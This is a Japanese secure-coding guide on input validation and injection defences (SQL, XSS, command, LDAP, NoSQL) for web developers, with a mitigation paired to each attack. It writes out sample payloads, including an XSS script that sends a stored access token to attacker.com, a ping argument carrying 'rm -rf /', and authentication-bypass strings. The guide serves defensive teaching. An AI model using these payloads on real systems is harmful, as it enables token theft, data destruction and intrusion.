メインコンテンツまでスキップ

入力バリデーションとインジェクション対策

このドキュメントの目的

Webアプリケーションにおける入力バリデーションの重要性と、インジェクション攻撃への対策を学びます。


入力バリデーションの原則

基本原則

1. すべての入力を信頼しない
- ユーザー入力
- APIパラメータ
- HTTPヘッダー
- Cookie
- 外部システムからのデータ

2. ホワイトリスト方式
- 許可するパターンを定義
- それ以外は拒否

3. サーバーサイドで必ず検証
- クライアントサイド検証はUX向上のみ
- セキュリティ対策にはならない

4. 入力と出力の両方で対策
- 入力: バリデーション
- 出力: エスケープ/エンコード

アプリケーション特性と攻撃リスク

アプリケーションの機能や特性によって、発生しやすい攻撃が異なる。

┌─────────────────────────────────────────────────────────────────────┐
│ アプリケーション特性 発生しやすい攻撃 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ユーザー投稿機能がある XSS │
│ (コメント、レビュー、プロフィール) └─ 投稿内容にスクリプトを埋め込む │
│ │
│ 検索・フィルタ機能がある SQLインジェクション │
│ (商品検索、ユーザー検索) └─ 検索条件にSQL構文を注入 │
│ │
│ ファイル操作機能がある コマンドインジェクション │
│ (ファイル変換、画像処理) └─ ファイル名にコマンドを注入 │
│ │
│ Active Directory連携 LDAPインジェクション │
│ (企業向けSSO、社内システム) └─ ユーザー名にLDAP構文を注入 │
│ │
└─────────────────────────────────────────────────────────────────────┘
アプリ例注意すべき攻撃理由
ECサイトSQL, XSS商品検索、レビュー投稿機能
SNS・掲示板XSSユーザー投稿が多い
社内業務システムLDAP, SQLAD連携、複雑な検索機能
画像変換サービスコマンド外部ツール呼び出し

→ 自分のアプリがどの特性を持つか確認し、該当する攻撃を重点的に対策する


インジェクション攻撃の種類

1. SQLインジェクション

ユーザー入力がSQL文の一部として解釈され、意図しないクエリが実行される攻撃。

何が起こるか:
- データベースの全データを取得される
- データを改ざん・削除される
- 認証をバイパスされる
- 管理者権限を奪取される

なぜ起こるか:
- ユーザー入力を直接SQL文に埋め込んでいる
- 入力値がSQL構文として解釈される

攻撃の流れ:

┌──────────┐    ┌──────────────┐    ┌──────────┐
│ ユーザー │ │ サーバー │ │ DB │
└────┬─────┘ └──────┬───────┘ └────┬─────┘
│ │ │
│ 入力: │ │
│ ' OR '1'='1' -- │ │
│────────────────>│ │
│ │ │
│ 脆弱なコード: │ │
│ "SELECT * FROM users │
│ WHERE username = '" + input + "'"
│ │ │
│ │ 実行されるSQL: │
│ │ SELECT * FROM users
│ │ WHERE username = ''
│ │ OR '1'='1' -- │
│ │────────────────>│
│ │ │
│ │ 全ユーザー │
│ │<────────────────│
│ │ │
│ 全員のデータ流出 │ │
│<────────────────│ │

攻撃例:

-- 脆弱なコード
SELECT * FROM users WHERE username = '${input}'

-- 攻撃入力
' OR '1'='1' --

-- 結果
SELECT * FROM users WHERE username = '' OR '1'='1' --'
-- 全ユーザーが返される

対策:

1. パラメータ化クエリ(Prepared Statement)
2. ORMの使用
3. ストアドプロシージャ
4. 入力のホワイトリスト検証
// 安全なコード
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);

2. XSS(Cross-Site Scripting)

悪意のあるスクリプトがWebページに埋め込まれ、他のユーザーのブラウザで実行される攻撃。

何が起こるか:
- ユーザーのセッション/トークンを盗まれる
- ユーザーとして操作される(なりすまし)
- 偽のログインフォームを表示される(フィッシング)
- マルウェアサイトへリダイレクトされる

なぜ起こるか:
- ユーザー入力をエスケープせずにHTMLに出力している
- ブラウザがスクリプトとして解釈・実行する

攻撃の流れ:

┌──────────┐    ┌──────────────┐    ┌──────────┐
│ 攻撃者 │ │ サーバー │ │ 被害者 │
└────┬─────┘ └──────┬───────┘ └────┬─────┘
│ │ │
│ 1. 悪意のある │ │
│ スクリプトを │ │
│ 投稿 │ │
│────────────────>│ │
│ │ │
│ │ 2. ページを │
│ │ リクエスト │
│ │<────────────────│
│ │ │
│ │ 3. スクリプトを │
│ │ 含むHTMLを │
│ │ 返却 │
│ │────────────────>│
│ │ │
│ 4. スクリプト実行で │
│ トークン/Cookie送信 │
│<──────────────────────────────────│
│ │ │
│ なりすまし可能に │ │

攻撃シミュレーション: 掲示板サービスの例

【前提】
- 掲示板サービスがある
- ログイン後、Access TokenをlocalStorageに保存している
- コメント投稿機能がある(ここに脆弱性)

┌─────────────────────────────────────────────────────────────────┐
│ ステップ1: 攻撃者がコメントを投稿 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 攻撃者が以下のコメントを投稿: │
│ │
│ 「この商品おすすめです!<script> │
│ fetch('https://attacker.com/steal?token=' │
│ + localStorage.getItem('access_token')); │
│ </script>」 │
│ │
│ ※サーバーがエスケープせずにDBに保存 │
│ │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ ステップ2: 被害者がページを閲覧 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 被害者(ログイン済み)が掲示板を閲覧 │
│ │
│ ブラウザがHTMLをレンダリング: │
│ ┌─────────────────────────────────────────┐ │
│ │ コメント一覧 │ │
│ │ ・「いい商品ですね」 │ │
│ │ ・「この商品おすすめです!」+ <script>... │ ← スクリプト実行! │
│ └─────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ ステップ3: トークンが攻撃者に送信される │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 被害者のブラウザ 攻撃者のサーバー │
│ │ │ │
│ │ GET /steal?token=eyJhbGciOi... │ │
│ │ ─────────────────────────────────────>│ │
│ │ │ │
│ │ トークン取得成功! │
│ │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ ステップ4: 攻撃者がなりすまし │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 攻撃者が盗んだトークンでAPIを呼び出し: │
│ │
│ curl -H "Authorization: Bearer eyJhbGciOi..." │
│ https://api.example.com/user/profile │
│ │
│ → 被害者のプロフィール情報が取得される │
│ → 被害者として操作が可能に │
│ │
└─────────────────────────────────────────────────────────────────┘

なぜこれが起きたか:

1. サーバーがユーザー入力をエスケープせずに保存・表示した(根本原因)
2. トークンがlocalStorageにあり、JavaScriptからアクセス可能だった

→ 1だけでも防いでいれば、攻撃は成功しなかった
→ 2も対策すれば、万が一XSSがあっても被害を軽減できる(多層防御)

対策:

1. 出力時のHTMLエスケープ(必須・根本対策)
< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &#x27;

2. Content Security Policy (CSP)
- インラインスクリプトの実行を禁止
- 許可されたドメインからのスクリプトのみ実行
→ 詳細は [セキュリティヘッダー](./06-security-headers.md) を参照

3. HttpOnly Cookie
- JavaScriptからCookieにアクセス不可
- トークンをCookieに保存する場合に有効

4. トークンの安全な保存
- localStorageではなくメモリやHttpOnly Cookieに保存
→ 詳細は [トークン保存のセキュリティ](./05-token-storage-security.md) を参照

3. コマンドインジェクション

ユーザー入力がOSコマンドの一部として実行され、任意のコマンドが実行される攻撃。

何が起こるか:
- サーバー上で任意のコマンドが実行される
- ファイルの読み取り・削除・改ざん
- バックドアの設置
- 他システムへの攻撃の踏み台にされる

なぜ起こるか:
- ユーザー入力をシェルコマンドに直接渡している
- シェルのメタ文字(;, |, &&等)が解釈される

攻撃例:

# 脆弱なコード
system("ping " + userInput);

# 攻撃入力
127.0.0.1; rm -rf /

# 結果: pingの後にrmコマンドが実行される

対策:

1. シェルコマンドを使わない
2. 入力を厳格にバリデーション
3. パラメータを配列で渡す(シェル解釈を回避)
4. サンドボックス環境で実行

4. LDAPインジェクション

ユーザー入力がLDAPクエリの一部として解釈され、ディレクトリサービスに対して意図しない操作が実行される攻撃。

何が起こるか:
- 認証をバイパスされる
- 他ユーザーの情報を取得される
- ディレクトリ内の機密情報が漏洩する

なぜ起こるか:
- ユーザー入力をLDAPフィルタに直接埋め込んでいる
- LDAPの特殊文字(*, (, )等)が解釈される

※Active DirectoryやOpenLDAPを使った認証システムで発生しうる

攻撃例:

# 脆弱なコード
(&(uid=${username})(userPassword=${password}))

# 攻撃入力
*)(uid=*))(|(uid=*

# 結果: 認証バイパス

対策:

1. 特殊文字のエスケープ
* → \2a
( → \28
) → \29
\ → \5c
NUL → \00

2. 入力のホワイトリスト検証

バリデーションパターン

文字列バリデーション

ユーザー名:
- 英数字とアンダースコアのみ
- 3〜32文字
- 正規表現: ^[a-zA-Z0-9_]{3,32}$

メールアドレス:
- RFC 5322準拠
- 最大254文字
- 専用ライブラリの使用推奨

パスワード:
- 12文字以上
- 大文字・小文字・数字・記号を含む
- 禁止パスワードリストと照合

数値バリデーション

整数:
- 範囲チェック(min/max)
- オーバーフロー防止

金額:
- 正数のみ
- 小数点以下桁数制限
- 最大値制限

日付バリデーション

- 有効な日付形式(ISO 8601推奨)
- 論理的な範囲チェック
- 未来日/過去日の制限

ID/認証システム固有のバリデーション

OAuth/OIDCパラメータ

redirect_uri:
- 事前登録されたURIと完全一致
- ワイルドカード禁止
- オープンリダイレクト防止

state:
- 十分なエントロピー(128ビット以上)
- セッションに紐づく

scope:
- 許可されたスコープのみ
- ホワイトリスト方式

client_id:
- 登録済みクライアントのみ
- 形式チェック

JWT検証

必須チェック:
- 署名検証
- alg: none の拒否
- exp(有効期限)
- iss(発行者)
- aud(対象者)

オプションチェック:
- nbf(有効開始時刻)
- iat(発行時刻)
- jti(トークンID)

エラーハンドリング

セキュアなエラーレスポンス

❌ 悪い例(情報漏洩):
{
"error": "User 'admin' not found in database 'users_prod'"
}

✅ 良い例:
{
"error": "invalid_credentials",
"error_description": "The username or password is incorrect"
}

原則

1. 詳細なエラーをログに記録
2. ユーザーには一般的なメッセージを返す
3. スタックトレースを公開しない
4. システム情報を漏らさない

多層防御

防御レイヤー

Layer 1: WAF(Web Application Firewall)
├── 既知の攻撃パターンをブロック
└── レート制限

Layer 2: 入力バリデーション
├── 形式チェック
├── 範囲チェック
└── ホワイトリスト

Layer 3: ビジネスロジック
├── 権限チェック
└── 整合性チェック

Layer 4: 出力エンコード
├── HTMLエスケープ
├── URLエンコード
└── JSONエンコード

Layer 5: データベース
├── パラメータ化クエリ
└── 最小権限の原則

チェックリスト

入力バリデーション

  • すべての入力をサーバーサイドで検証
  • ホワイトリスト方式を採用
  • 適切なデータ型に変換
  • 長さ・範囲を制限

SQLインジェクション対策

  • パラメータ化クエリを使用
  • ORMを適切に使用
  • 動的クエリ構築を避ける

XSS対策

  • 出力時にHTMLエスケープ
  • CSPを設定
  • HttpOnly Cookieを使用

エラーハンドリング

  • 詳細エラーをログに記録
  • ユーザーには一般的なメッセージ
  • スタックトレースを非公開

発展: NoSQLインジェクション

この内容は発展的なトピックです。基礎を理解してから学習することを推奨します。

MongoDB等のNoSQLデータベースに対して、クエリ演算子を悪用して意図しない操作を実行する攻撃。

何が起こるか:
- 認証をバイパスされる
- 意図しないデータが取得される

なぜ起こるか:
- JSONオブジェクトをそのままクエリに渡している
- $ne, $gt等のクエリ演算子が解釈される

攻撃例(MongoDB):

// 脆弱なコード
db.users.find({ username: input.username, password: input.password })

// 攻撃入力(JSON)
{ "username": "admin", "password": { "$ne": "" } }

// 結果: パスワードが空でない限り認証成功

対策:

1. 入力型の検証(文字列のみ許可)
2. クエリビルダーの使用
3. 演算子の禁止($で始まるキー)

参考資料


最終更新: 2025-12-25 対象: Webアプリケーション開発者